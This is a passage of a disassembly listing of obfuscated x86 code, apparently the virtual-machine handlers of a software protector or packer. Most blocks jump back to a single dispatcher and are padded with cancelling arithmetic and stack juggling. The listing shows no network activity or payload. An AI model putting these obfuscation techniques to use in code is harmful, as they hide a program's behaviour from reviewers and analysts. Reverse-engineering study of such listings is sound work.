; ---------------------------------------------------------------------------


loc_590622:				; CODE XREF: sub_581EE9+4330j
		add	bl, al
		jmp	loc_58BA2B
; ---------------------------------------------------------------------------


loc_590629:				; CODE XREF: sub_581EE9+9EFFj
		push	55BFh
		mov	[esp-6EDAh+arg_6ED2], eax
		jmp	loc_58E5CE
; ---------------------------------------------------------------------------


loc_590636:				; CODE XREF: sub_581EE9+870Bj
		push	esp
		mov	ecx, [esp-6EA2h+arg_6E9A]
		jmp	loc_58FE3D
; ---------------------------------------------------------------------------


loc_59063F:				; CODE XREF: sub_581EE9+5F36j
		mov	[esp-6EDAh+arg_6ED2], ecx
		jmp	loc_585CC3
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		push	small 3623h
		mov	word ptr [esp-6ED8h+arg_6ECE+2], dx
		mov	dh, 57h
		jmp	loc_58C80C
; ---------------------------------------------------------------------------


loc_590659:				; CODE XREF: sub_581EE9+614Aj
		mov	[esp-6EBEh+arg_6EB6], ebp
		jmp	loc_5916CC
; ---------------------------------------------------------------------------


loc_590661:				; CODE XREF: sub_581EE9+8018j
		push	ebx
		mov	bh, 86h
		add	al, bh
		pop	ebx
		sub	al, 3Fh
		sub	al, bl
		jmp	loc_591781
; ---------------------------------------------------------------------------


loc_590670:				; CODE XREF: sub_581EE9+C6EBj
		mov	[esp-6F06h+arg_6EFE], eax
		push	ecx
		push	eax
		mov	al, 0AAh
		jmp	loc_58AEB1
; ---------------------------------------------------------------------------


loc_59067C:				; CODE XREF: sub_581EE9+ED21j
		pop	eax
		pop	[esp-6F02h+arg_6EFA]
		jmp	loc_58B90E
; ---------------------------------------------------------------------------


loc_590685:				; CODE XREF: sub_581EE9+AFDDj
		pop	eax
		sub	eax, esi
		pop	esi
		jmp	loc_58C210
; ---------------------------------------------------------------------------


loc_59068E:				; CODE XREF: sub_581EE9+E95Aj
		sub	ecx, 13F24E05h
		sub	edi, ecx
		pop	ecx
		add	edi, ecx
		jmp	loc_58E4A1
; ---------------------------------------------------------------------------


loc_59069E:				; CODE XREF: sub_581EE9+6508j
		xchg	ebx, [esp-6E98h+arg_6E8E+2]
		pop	esp
		add	ebx, 4
		push	ecx
		mov	ecx, 2
		add	ebx, 3BA56DD5h
		add	ebx, ecx
		sub	ebx, 3BA56DD5h
		push	[esp-6E98h+arg_6E8E+2]
		mov	ecx, [esp-6E94h+arg_6E8A+2]
		add	esp, 4
		add	esp, 4
		push	ebx
		push	[esp-6E98h+arg_6E92+2]
		pop	ebx
		pop	[esp-6E98h+arg_6E8E+2]
		mov	esp, [esp-6E9Ch+arg_6E92+2]
		btc	word ptr [esp-6E9Ch+arg_6E92+2], ax
		pushf
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_5906DF:				; CODE XREF: sub_581EE9+D6DAj
		mov	eax, esp
		jmp	loc_58CACD
; ---------------------------------------------------------------------------


loc_5906E6:				; CODE XREF: sub_581EE9+BE56j
		mov	ebp, [esp-6EFEh+arg_6EF6]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp-6EFAh+arg_6EF0+2]
		pop	esp
		sub	ebx, eax
		push	ebp
		jmp	loc_591376
; ---------------------------------------------------------------------------


loc_590702:				; CODE XREF: sub_581EE9+5E2Ej
		mov	edx, 1228162Dh
		xor	edx, 156D5F06h
		dec	edx
		jmp	loc_58B73B
; ---------------------------------------------------------------------------


loc_590713:				; CODE XREF: sub_581EE9+DB51j
		mov	[esp-6EF6h+arg_6EEC+2],	ebx
		jmp	loc_58BE19
; ---------------------------------------------------------------------------


loc_59071B:				; CODE XREF: sub_581EE9+DABFj
		xor	esi, 0A61FE49Ch
		jmp	loc_58DCE6
; ---------------------------------------------------------------------------


loc_590726:				; CODE XREF: sub_581EE9+F6DBj
		add	bl, dl
		push	dx
		mov	dh, 1Ch
		jmp	loc_589AC1
; ---------------------------------------------------------------------------


loc_590731:				; CODE XREF: sub_581EE9+FBD5j
		xor	edi, [esp+0]
		pop	esp
		push	1B92h
		mov	[esp+0], esi
		push	57DAh
		mov	[esp-6EDEh+arg_6ED6], edi
		push	eax
		push	ebp
		mov	ebp, 4AD876DAh
		mov	eax, 695C1D25h
		xor	eax, ebp
		pop	ebp
		jmp	loc_587157
; ---------------------------------------------------------------------------


loc_590759:				; CODE XREF: sub_581EE9+C4CBj
		sub	esi, 28641A6Dh
		pop	edx
		push	esi
		push	[esp-6EC8h+arg_6EC2+2]
		pop	esi
		jmp	loc_58DE33
; ---------------------------------------------------------------------------


loc_59076B:				; CODE XREF: sub_581EE9+AA8Aj
		pop	edi
		add	esi, ebx
		push	edx
		mov	edx, 5BD423A6h
		xor	edx, 53851175h
		and	edx, 6C8603F6h
		push	ecx
		push	edi
		jmp	loc_5890EF
; ---------------------------------------------------------------------------


loc_590787:				; CODE XREF: sub_581EE9+A638j
		mov	cl, 2Fh
		sub	al, cl
		pop	ecx
		jmp	loc_58AAF0
; ---------------------------------------------------------------------------


loc_590791:				; CODE XREF: sub_581EE9+4599j
		push	55911827h
		pop	ecx
		jmp	loc_591351
; ---------------------------------------------------------------------------


loc_59079C:				; CODE XREF: sub_581EE9+D928j
		bt	word ptr [esp-6EC4h+arg_6EBA+2], ax
		pushf
		jmp	loc_5874E3
; ---------------------------------------------------------------------------


loc_5907A7:				; CODE XREF: sub_581EE9+73ABj
		pop	eax
		jmp	loc_58AFE2
; ---------------------------------------------------------------------------


loc_5907AD:				; CODE XREF: sub_581EE9+78AEj
		push	edx
		mov	dl, 0DAh
		sub	cl, dl
		mov	edx, dword ptr [esp-6EAAh+arg_6EA2]
		jmp	loc_58FBAF
; ---------------------------------------------------------------------------


loc_5907BA:				; CODE XREF: sub_581EE9+4F99j
		pop	ebp
		pop	dword ptr [esp+0]
		jmp	loc_58D17B
; ---------------------------------------------------------------------------


loc_5907C3:				; CODE XREF: sub_581EE9+4B80j
		push	6B17h
		jmp	loc_5899CB
; ---------------------------------------------------------------------------


loc_5907CD:				; CODE XREF: sub_581EE9+F959j
		xor	[esp-6EB6h+arg_6EAC+2],	edx
		xor	edx, [esp-6EB6h+arg_6EAC+2]
		jmp	loc_590B00
; ---------------------------------------------------------------------------


loc_5907D8:				; CODE XREF: sub_581EE9+AC98j
		add	eax, ebp
		pop	ebp
		xor	eax, [esp-6E86h+arg_6E7C+2]
		jmp	loc_58C685
; ---------------------------------------------------------------------------


loc_5907E3:				; CODE XREF: sub_581EE9+B508j
		xor	edi, edx
		pop	edx
		jmp	loc_588318
; ---------------------------------------------------------------------------


loc_5907EB:				; CODE XREF: sub_581EE9+5C2Ej
		and	dl, 86h
		shr	dl, 7
		add	dl, 28h
		jmp	loc_58B712
; ---------------------------------------------------------------------------


loc_5907F9:				; CODE XREF: sub_581EE9+88B7j
		xor	bp, 26CDh
		sub	bp, 527Eh
		add	bp, 0FC43h
		jmp	loc_587509
; ---------------------------------------------------------------------------


loc_59080D:				; CODE XREF: sub_581EE9+F193j
		mov	edi, 33E45301h
		not	edi
		add	edi, 5CFF0DF9h
		inc	edi
		xor	edi, 7F47452Bh
		and	edi, 76170B5Eh
		xor	edi, 56150B50h
		mov	ebp, edi
		pop	edi
		add	ecx, ebp
		pop	ebp
		xchg	ecx, [esp-6ED0h+arg_6EC6+2]
		pop	esp
		sar	[esp-6ED4h+arg_6ECA+2],	cl
		pushf
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_590840:				; CODE XREF: sub_581EE9+3EF8j
		shl	ecx, 3
		jmp	loc_59068E
; ---------------------------------------------------------------------------


loc_590848:				; CODE XREF: sub_581EE9+A0B3j
		pop	eax
		add	edx, edi
		push	[esp-6ECEh+arg_6EC6]
		pop	edi
		add	esp, 4
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_59085A:				; CODE XREF: sub_581EE9+AAD4j
		sub	edi, 0B7D014EAh
		xor	ebp, edi
		pop	edi
		and	esi, ebp
		pop	ebp
		jmp	loc_58AD3D
; ---------------------------------------------------------------------------


loc_59086B:				; CODE XREF: sub_581EE9+742Fj
		pop	[esp-6EA6h+arg_6E9E]
		pop	esp
		push	eax
		mov	eax, esp
		push	esi
		mov	esi, 4
		jmp	loc_5910C1
; ---------------------------------------------------------------------------


loc_59087D:				; CODE XREF: sub_581EE9+9EB8j
		add	al, 0E3h
		sub	al, 7Ah
		jmp	loc_591553
; ---------------------------------------------------------------------------


loc_590886:				; CODE XREF: sub_581EE9+D7B6j
		mov	edi, 65D875B1h
		dec	edi
		jmp	loc_58BCCD
; ---------------------------------------------------------------------------


loc_590891:				; CODE XREF: sub_581EE9+EEB3j
		mov	eax, [esp-6EDEh+arg_6ED6]
		add	esp, 4
		pop	dword ptr [esp+0]
		pop	esp
		push	32D3h
		mov	[esp-6EE6h+arg_6EDC+2],	ecx
		pop	dword ptr [eax]
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_5908AA:				; CODE XREF: sub_581EE9+D6EFj
		add	esp, 4
		push	esi
		mov	esi, 4
		add	edx, esi
		pop	esi
		jmp	loc_59153C
; ---------------------------------------------------------------------------


loc_5908BB:				; CODE XREF: sub_581EE9+9D4Aj
		push	eax
		mov	eax, 4
		jmp	loc_58742F
; ---------------------------------------------------------------------------


loc_5908C6:				; CODE XREF: sub_581EE9+71C8j
		pop	ebp
		jmp	loc_58839C
; ---------------------------------------------------------------------------


loc_5908CC:				; DATA XREF: sub_581EE9+3B27o
		push	eax
		push	esp
		mov	eax, [esp+0]
		add	esp, 4
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp-6EBCh+arg_6EB2+2]
		pop	esp
		jmp	loc_58CF52
; ---------------------------------------------------------------------------


loc_5908E7:				; CODE XREF: sub_581EE9+D49Dj
		add	esp, 4
		xchg	eax, [esp-6EF6h+arg_6EEC+2]
		pop	eax
		sub	esp, 4
		mov	[esp-6EF6h+arg_6EEC+2],	esi
		jmp	loc_586B73
; ---------------------------------------------------------------------------


loc_5908F9:				; CODE XREF: sub_581EE9+FA54j
		push	edx
		mov	edx, 3E9A68E9h
		sub	[esp-6EF2h+arg_6EEC+2],	edx
		pop	edx
		jmp	loc_58C7E4
; ---------------------------------------------------------------------------


loc_590909:				; CODE XREF: sub_581EE9+E570j
		add	esp, 4
		add	esi, 4
		push	ecx
		mov	ecx, 4
		add	esi, 60EC7FBEh
		add	esi, ecx
		sub	esi, 60EC7FBEh
		pop	ecx
		xor	esi, [esp-6ECAh+arg_6EC2]
		xor	[esp-6ECAh+arg_6EC2], esi
		xor	esi, [esp-6ECAh+arg_6EC2]
		mov	esp, [esp-6ECAh+arg_6EC2]
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_59093B:				; CODE XREF: sub_581EE9+9951j
		add	esp, 4
		add	ebp, 0E7C5A16h
		pop	ecx
		add	edi, 7CCA3662h
		add	edi, ebp
		sub	edi, 7CCA3662h
		push	[esp-6EF2h+arg_6EE8+2]
		pop	ebp
		add	esp, 4
		std
		push	4691h
		mov	[esp-6EF2h+arg_6EE8+2],	eax
		push	edx
		mov	edx, 44CF44BAh
		mov	eax, 49EF8044h
		jmp	loc_5886FB
; ---------------------------------------------------------------------------


loc_590976:				; DATA XREF: sub_581EE9+3D27o
		mov	ax, fs:[edx]
		jmp	loc_58A080
; ---------------------------------------------------------------------------


loc_59097F:				; DATA XREF: sub_581EE9+3D5Fo
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	byte ptr [esp-6EF0h+arg_6EE8], cl
		pushf
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_59098E:				; CODE XREF: sub_581EE9+66B3j
		add	esp, 4
		add	edx, 0A8E1DACh
		sub	edx, ebx
		sub	edx, 0A8E1DACh
		add	edx, 68E00FE5h
		add	edx, 1D034B8Dh
		add	edx, 642E5F4Eh
		pop	ebx
		sub	edx, eax
		jmp	loc_591081
; ---------------------------------------------------------------------------


loc_5909B9:				; CODE XREF: sub_581EE9+DD73j
		add	dword ptr [esp+0], 4
		pop	ecx
		push	edi
		mov	edi, 3EBC301Fh
		jmp	loc_58DB86
; ---------------------------------------------------------------------------


loc_5909CC:				; CODE XREF: sub_581EE9+AC20j
		add	ebp, 42934B8Fh
		sub	ebp, esi
		push	edx
		mov	edx, 42934B8Fh
		sub	ebp, edx
		pop	edx
		pop	esi
		add	ebp, 0AAF5BCDh
		jmp	loc_58CCD2
; ---------------------------------------------------------------------------


loc_5909E9:				; CODE XREF: sub_581EE9+9E08j
		pop	ebx
		add	esp, 4
		push	47Eh
		jmp	loc_58764A
; ---------------------------------------------------------------------------


loc_5909F7:				; CODE XREF: sub_581EE9+770Bj
		add	edi, 264E6F67h
		jmp	loc_5888F0
; ---------------------------------------------------------------------------


loc_590A02:				; CODE XREF: sub_581EE9+9545j
		pop	edx
		push	ebx
		mov	ebx, 232248F1h
		push	ebx
		jmp	loc_58B8E7
; ---------------------------------------------------------------------------


loc_590A0F:				; CODE XREF: sub_581EE9+7EB6j
		add	ebx, esi
		jmp	loc_58AA69
; ---------------------------------------------------------------------------


loc_590A16:				; CODE XREF: sub_581EE9+6CB5j
		not	ebp
		jmp	loc_58769B
; ---------------------------------------------------------------------------


loc_590A1D:				; CODE XREF: sub_581EE9+6715j
		mov	edx, esp
		add	edx, 4
		jmp	loc_58AF37
; ---------------------------------------------------------------------------


loc_590A2A:				; CODE XREF: sub_581EE9+C147j
		add	ebx, edx
		add	ebx, 165C5825h
		jmp	loc_58D0BB
; ---------------------------------------------------------------------------


loc_590A37:				; CODE XREF: sub_581EE9+CB1Fj
		push	esi
		mov	esi, 6C3301A5h
		or	esi, 8725572h
		neg	esi
		shr	esi, 3
		dec	esi
		xor	esi, 16E334BFh
		sub	esi, 492A1FBh
		add	edx, esi
		pop	esi
		push	eax
		mov	eax, 4
		sub	edx, eax
		mov	eax, [esp-6ED8h+arg_6ECE+2]
		add	esp, 4
		xchg	edx, [esp-6EDCh+arg_6ED2+2]
		pop	esp
		mov	[esp-6EE0h+arg_6ED6+2],	eax
		mov	eax, 0E8C794Dh
		xor	[esp-6EE0h+arg_6EDC], eax
		mov	eax, [esp-6EE0h+arg_6ED6+2]
		add	esp, 4
		pop	dword ptr [edi+40h]
		push	633h
		jmp	loc_587440
; ---------------------------------------------------------------------------


loc_590A89:				; CODE XREF: sub_581EE9+6774j
		sub	al, bh
		mov	ebx, [esp-6ECEh+arg_6EC6]
		add	esp, 4
		sub	al, 6Ah
		sub	al, bl
		push	edx
		mov	dh, 6Ah
		add	al, dh
		mov	edx, [esp-6ECEh+arg_6EC6]
		jmp	loc_58F9FF
; ---------------------------------------------------------------------------


loc_590AA2:				; CODE XREF: sub_581EE9+5E86j
		add	ebp, ecx
		add	ebp, 3F516B1Ah
		pop	ecx
		push	ebp
		push	[esp-6E98h+arg_6E92+2]
		jmp	loc_589744
; ---------------------------------------------------------------------------


loc_590AB5:				; CODE XREF: sub_581EE9+6871j
		push	edi
		sub	esp, 4
		mov	[esp-6EBCh+arg_6EB2+2],	esp
		add	[esp-6EBCh+arg_6EB2+2],	4
		mov	edi, [esp-6EBCh+arg_6EB2+2]
		push	ebx
		mov	ebx, esp
		jmp	loc_591471
; ---------------------------------------------------------------------------


loc_590ACE:				; CODE XREF: sub_581EE9+8FEDj
		xor	cl, 80h
		sub	dl, cl
		mov	ecx, [esp-6EC6h+arg_6EBE]
		add	esp, 4
		xor	al, dl
		pop	edx
		jmp	loc_5891D3
; ---------------------------------------------------------------------------


loc_590AE1:				; CODE XREF: sub_581EE9+718Ej
		mov	[esp-6EBAh+arg_6EB2], ecx
		jmp	loc_58EC2F
; ---------------------------------------------------------------------------


loc_590AE9:				; CODE XREF: sub_581EE9+9488j
		push	[esp-6E8Eh+arg_6E8A]
		pop	ebx
		jmp	loc_5885C1
; ---------------------------------------------------------------------------


loc_590AF3:				; CODE XREF: sub_581EE9+81B8j
		pop	dword ptr [esp]
		push	3BCEh
		jmp	loc_58D20E
; ---------------------------------------------------------------------------


loc_590B00:				; CODE XREF: sub_581EE9+E8EAj
		mov	esp, [esp-6EB6h+arg_6EAC+2]
		dec	[esp-6EB6h+arg_6EAC+2]
		pushf
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_590B0C:				; CODE XREF: sub_581EE9+C0D4j
		or	edi, eax
		pop	eax
		xor	edi, 757E7DDBh
		add	ecx, edi
		pop	edi
		sub	esp, 4
		jmp	loc_588971
; ---------------------------------------------------------------------------


loc_590B23:				; CODE XREF: sub_581EE9+A4EEj
		mov	ecx, esp
		push	eax
		push	ebp
		push	2663EC7h
		pop	ebp
		shr	ebp, 6
		xor	ebp, 485E059Eh
		jmp	loc_5860EA
; ---------------------------------------------------------------------------


loc_590B3B:				; CODE XREF: sub_581EE9+5C04j
		mov	[esp-6EC6h+arg_6EBE], ecx
		push	4439h
		mov	[esp-6EC2h+arg_6EBA], esp
		add	[esp-6EC2h+arg_6EBA], 4
		jmp	loc_591B0A
; ---------------------------------------------------------------------------


loc_590B4F:				; CODE XREF: sub_581EE9+4616j
		sub	bl, dh
		add	bl, 0ABh
		pop	edx
		movzx	eax, al
		jmp	loc_587A3D
; ---------------------------------------------------------------------------


loc_590B5D:				; CODE XREF: sub_581EE9+A1ECj
		push	eax
		mov	ah, dl
		mov	ch, ah
		jmp	loc_5875B1
; ---------------------------------------------------------------------------


loc_590B67:				; CODE XREF: sub_581EE9+A641j
		mov	[esp-6EE8h+arg_6EE0], ebx
		jmp	loc_58A6E7
; ---------------------------------------------------------------------------


loc_590B6F:				; DATA XREF: sub_581EE9+3CAFo
		mov	cx, word ptr [esp-6EE8h+arg_6EE0]
		push	594Ch
		jmp	loc_58D9E5
; ---------------------------------------------------------------------------


loc_590B7D:				; CODE XREF: sub_581EE9+752Aj
		push	esi
		push	edi
		push	edx
		mov	edx, 6EA7588Eh
		or	edx, 5BF67C40h
		jmp	loc_586918
; ---------------------------------------------------------------------------


loc_590B90:				; CODE XREF: sub_581EE9+BF6Bj
		mov	ecx, 24FA2AC2h
		jmp	loc_5913E3
; ---------------------------------------------------------------------------


loc_590B9A:				; CODE XREF: sub_581EE9+5563j
		push	[esp-6EBAh+arg_6EB2]
		pop	eax
		sub	esp, 4
		mov	[esp-6EB6h+arg_6EAC+2],	ebp
		push	esp
		pop	ebp
		jmp	loc_58CA42
; ---------------------------------------------------------------------------


loc_590BAE:				; CODE XREF: sub_581EE9+B829j
		sub	esi, 17D9707Ah
		add	esi, eax
		push	edx
		mov	edx, 514A03C8h
		sub	edx, 3E6E016Dh
		push	ebx
		mov	ebx, 3B491D5Dh
		sub	edx, ebx
		pop	ebx
		jmp	loc_58A4C8
; ---------------------------------------------------------------------------


loc_590BD0:				; CODE XREF: sub_581EE9+AADEj
		push	esp
		pop	ecx
		jmp	loc_58D934
; ---------------------------------------------------------------------------


loc_590BD7:				; CODE XREF: sub_581EE9+65CBj
		pop	esp
		shr	byte ptr [esp-6EE0h+arg_6ED6+2], cl
		pushf
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_590BE1:				; DATA XREF: sub_581EE9+3BF7o
		lodsb
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp-6ED8h+arg_6ECE+2]
		pop	esp
		jmp	loc_587395
; ---------------------------------------------------------------------------


loc_590BF7:				; CODE XREF: sub_581EE9+47E4j
		add	eax, edi
		pop	edi
		push	ebx
		push	eax
		mov	eax, 655C6223h
		jmp	loc_589766
; ---------------------------------------------------------------------------


loc_590C06:				; CODE XREF: sub_581EE9+6CADj
		push	[esp-6ED2h+arg_6ECE]
		jmp	loc_59067C
; ---------------------------------------------------------------------------


loc_590C0F:				; CODE XREF: sub_581EE9+DF24j
		mov	[esp-6EF4h+arg_6EEC], ebp
		mov	ebp, 1
		push	eax
		mov	eax, 24h
		add	eax, edi
		add	[eax], ebp
		pop	eax
		pop	ebp
		jmp	loc_58F48F
; ---------------------------------------------------------------------------


loc_590C28:				; CODE XREF: sub_581EE9+D705j
		push	ecx
		jmp	loc_58E78D
; ---------------------------------------------------------------------------


loc_590C2E:				; CODE XREF: sub_581EE9+6437j
		push	49C2h
		mov	[esp-6EDAh+arg_6ED2], edx
		push	60087906h
		pop	edx
		xor	eax, edx
		push	[esp-6EDAh+arg_6ED2]
		pop	edx
		jmp	loc_590569
; ---------------------------------------------------------------------------


loc_590C47:				; CODE XREF: sub_581EE9+DCACj
		mov	[esp-6ECCh+arg_6EC2+2],	edi
		mov	edi, 3ED5250Ch
		jmp	loc_58868D
; ---------------------------------------------------------------------------


loc_590C54:				; CODE XREF: sub_581EE9+A79Fj
		xor	eax, [esp-6EB6h+arg_6EAC+2]
		mov	esp, [esp-6EB6h+arg_6EAC+2]
		cmp	ecx, eax
		pushf
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_590C62:				; CODE XREF: sub_581EE9+A848j
		neg	eax
		and	eax, 1C252291h
		sub	eax, 10051FFCh
		add	ecx, eax
		pop	eax
		jmp	loc_59127E
; ---------------------------------------------------------------------------


loc_590C76:				; CODE XREF: sub_581EE9+822Fj
		xchg	ebx, [esp-6EACh+arg_6EA4]
		pop	esi
		xchg	esi, ebp
		sub	ebp, 0B3C5E0C8h
		add	edi, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp-6EB0h+arg_6EA8], eax
		mov	eax, 2
		add	edi, 3B6C1B4Ch
		add	edi, eax
		sub	edi, 3B6C1B4Ch
		pop	eax
		xchg	edi, [esp-6EB4h+arg_6EAC]
		pop	esp
		jmp	loc_58A81A
; ---------------------------------------------------------------------------


loc_590CA8:				; CODE XREF: sub_581EE9+8975j
		pop	edi
		add	ecx, 4
		xor	ecx, [esp-6ED2h+arg_6ECA]
		xor	[esp-6ED2h+arg_6ECA], ecx
		xor	ecx, [esp-6ED2h+arg_6ECA]
		pop	esp
		imul	ecx
		sub	esp, 4
		jmp	loc_58D991
; ---------------------------------------------------------------------------


loc_590CC6:				; CODE XREF: sub_581EE9+4682j
		push	eax
		mov	eax, 705B2DE9h
		and	eax, 8B77B1Bh
		jmp	loc_590D47
; ---------------------------------------------------------------------------


loc_590CD6:				; CODE XREF: sub_581EE9+7684j
		mov	ebp, 0EE907B6h
		jmp	loc_587F83
; ---------------------------------------------------------------------------


loc_590CE0:				; CODE XREF: sub_581EE9+681Fj
		push	29E0h
		jmp	loc_58DB68
; ---------------------------------------------------------------------------


loc_590CEA:				; DATA XREF: sub_581EE9+3C73o
		push	dword ptr [edx]
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_590CF1:				; CODE XREF: sub_581EE9+D79Cj
		add	ebx, 2BDAB3C0h
		add	esi, ebx
		pop	ebx
		xor	ebx, esi
		pop	esi
		and	eax, ebx
		push	[esp-6EEAh+arg_6EE0+2]
		mov	ebx, [esp-6EE6h+arg_6EDC+2]
		add	esp, 4
		add	esp, 4
		shr	eax, 18h
		jmp	loc_588115
; ---------------------------------------------------------------------------


loc_590D13:				; CODE XREF: sub_581EE9+FC03j
		sub	al, 0C6h
		add	al, bh
		add	al, 0C6h
		jmp	loc_58EBE5
; ---------------------------------------------------------------------------


loc_590D1E:				; CODE XREF: sub_581EE9+51C4j
		push	ebx
		mov	bl, 24h
		xor	bl, 49h
		push	ax
		jmp	loc_586900
; ---------------------------------------------------------------------------


loc_590D2B:				; CODE XREF: sub_581EE9+ABDFj
		pop	edx
		sub	ebp, 5B1A3910h
		add	ebp, eax
		push	esi
		mov	esi, 5DF04D54h
		jmp	loc_587280
; ---------------------------------------------------------------------------


loc_590D3F:				; CODE XREF: sub_581EE9+B276j
		shr	ecx, 7
		jmp	loc_58FBCE
; ---------------------------------------------------------------------------


loc_590D47:				; CODE XREF: sub_581EE9+EDE8j
		or	eax, 0E1F5860h
		and	eax, 469E6798h
		and	eax, 769F5DC5h
		xor	eax, 61E4104h
		add	ecx, eax
		pop	eax
		xor	ecx, [esp-6EDEh+arg_6ED6]
		xor	[esp-6EDEh+arg_6ED6], ecx
		xor	ecx, [esp-6EDEh+arg_6ED6]
		pop	esp
		push	ebp
		mov	ebp, esp
		jmp	loc_5879A6
; ---------------------------------------------------------------------------


loc_590D70:				; CODE XREF: sub_581EE9+DD51j
		sub	esp, 4
		mov	[esp-6EC2h+arg_6EBA], esp
		push	esi
		jmp	loc_58C6C3
; ---------------------------------------------------------------------------


loc_590D7F:				; CODE XREF: sub_581EE9+8C96j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp-6F12h+arg_6F0A]
		pop	esp
		add	edi, 4
		jmp	loc_58ED92
; ---------------------------------------------------------------------------


loc_590D98:				; CODE XREF: sub_581EE9+FAA3j
		push	dword ptr [esp+4]
		jmp	loc_590891
; ---------------------------------------------------------------------------


loc_590DA1:				; CODE XREF: sub_581EE9+757Dj
		add	esi, 47F12FCEh
		add	esi, 0B72E3DD6h
		add	eax, esi
		jmp	loc_587058
; ---------------------------------------------------------------------------


loc_590DB4:				; CODE XREF: sub_581EE9+AD6Dj
		mov	edi, 548F7988h
		add	ebx, edi
		pop	edi
		sub	ebx, 0FFFFFFFFh
		add	ebx, 0AF7D16ACh


loc_590DC5:				; CODE XREF: sub_581EE9+E5D5j
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ecx
		push	eax
		mov	eax, 392914h
		xor	eax, 62FF5D7Ah
		xor	eax, 18AA0545h
		jmp	loc_58C8D4
; ---------------------------------------------------------------------------


loc_590DE4:				; CODE XREF: sub_581EE9+608Bj
		shr	eax, 3
		shr	eax, 3
		xor	eax, 7DE7CF5Bh
		or	edx, eax
		pop	eax
		xor	edx, 4CDC3F86h
		xor	eax, edx
		pop	edx
		add	ebx, eax
		jmp	loc_58B369
; ---------------------------------------------------------------------------


loc_590E02:				; CODE XREF: sub_581EE9+D86Bj
		mov	ebp, [esp-6F08h+arg_6EFE+2]
		jmp	loc_58F976
; ---------------------------------------------------------------------------


loc_590E0A:				; CODE XREF: sub_581EE9+6121j
		pop	edx
		push	esi
		jmp	loc_58BF2A
; ---------------------------------------------------------------------------


loc_590E11:				; CODE XREF: sub_581EE9+F1A5j
		shr	esi, 7
		or	esi, 24E87C12h
		xor	esi, 39DA7171h
		push	ebp
		mov	ebp, 28657529h
		xor	esi, ebp
		pop	ebp
		add	edx, esi
		pop	esi
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_590E31:				; CODE XREF: sub_581EE9+8BB3j
		mov	ebx, 691F38B0h
		sub	esp, 4
		jmp	loc_58F3FF
; ---------------------------------------------------------------------------


loc_590E3E:				; CODE XREF: sub_581EE9+654Dj
		mov	ebx, 40000h
		jmp	loc_58690E
; ---------------------------------------------------------------------------


loc_590E48:				; CODE XREF: sub_581EE9+EFFCj
		not	ch
		sub	ch, 6
		sub	al, 88h
		add	al, ch
		push	ebx
		mov	bl, 8Bh
		add	bl, 0FFh
		xchg	ah, bl
		jmp	loc_58F49C
; ---------------------------------------------------------------------------


loc_590E5E:				; CODE XREF: sub_581EE9+503Dj
		push	[esp-6EB4h+arg_6EAC]
		jmp	loc_589B53
; ---------------------------------------------------------------------------


loc_590E66:				; CODE XREF: sub_581EE9+73D9j
		pop	ebx
		sub	ecx, 7EC445D6h
		sub	ecx, eax
		add	ecx, 7EC445D6h
		pop	eax
		mov	edx, 26C4277Bh
		sub	edx, ecx
		mov	ecx, [esp-6EBEh+arg_6EB6]
		jmp	loc_58E742
; ---------------------------------------------------------------------------


loc_590E85:				; CODE XREF: sub_581EE9+9312j
		push	[esp-6ECEh+arg_6EC6]
		pop	edx
		push	edi
		jmp	loc_589299
; ---------------------------------------------------------------------------


loc_590E8F:				; CODE XREF: sub_581EE9+680Dj
		push	ecx
		mov	ch, 60h
		xor	ch, 0BEh
		dec	ch
		jmp	loc_589E9C
; ---------------------------------------------------------------------------


loc_590E9C:				; CODE XREF: sub_581EE9+D99Ej
		push	esi
		mov	esi, 2
		add	eax, esi
		pop	esi
		push	eax
		push	[esp-6EC6h+arg_6EC2]
		pop	eax
		jmp	loc_591688
; ---------------------------------------------------------------------------


loc_590EB0:				; CODE XREF: sub_581EE9+9873j
		dec	dl
		add	dl, 2Fh
		xor	al, dl
		mov	edx, [esp-6EB2h+arg_6EA8+2]
		add	esp, 4
		push	bx
		sub	esp, 4
		mov	[esp-6EB0h+arg_6EA8], edx
		jmp	loc_586CC5
; ---------------------------------------------------------------------------


loc_590ECD:				; CODE XREF: sub_581EE9+9415j
		mov	esi, [esp-6EC0h+arg_6EB6+2]
		push	eax
		jmp	loc_58CE55
; ---------------------------------------------------------------------------


loc_590ED6:				; CODE XREF: sub_581EE9+F32Ej
		mov	[esp-6EBCh+arg_6EB2+2],	ecx
		mov	ch, 1Dh
		not	ch
		inc	ch
		xor	ch, 27h
		sub	ch, 9Ch
		jmp	loc_590E48
; ---------------------------------------------------------------------------


loc_590EEA:				; CODE XREF: sub_581EE9+4D8Fj
		mov	[esp-6ECEh+arg_6EC6], ecx
		push	ebp
		mov	ebp, 1329324Ah
		jmp	loc_58D497
; ---------------------------------------------------------------------------


loc_590EF8:				; CODE XREF: sub_581EE9+CE32j
		sub	[esp-6ECAh+arg_6EC6], ebx
		pop	ebx
		mov	eax, [esp-6ECEh+arg_6EC6]
		jmp	loc_58C84B
; ---------------------------------------------------------------------------


loc_590F05:				; CODE XREF: sub_581EE9+3DDBj
		xor	al, bl
		push	ecx
		mov	ch, 0F1h
		push	bx
		mov	bl, 0F9h
		sub	ch, bl
		pop	bx
		add	ch, 61h
		jmp	loc_5871DB
; ---------------------------------------------------------------------------


loc_590F1A:				; CODE XREF: sub_581EE9+E1B2j
		add	edx, 4
		xchg	edx, [esp-6F0Ah+arg_6F02]
		pop	esp
		push	eax
		mov	eax, esp
		add	eax, 4
		push	2306h
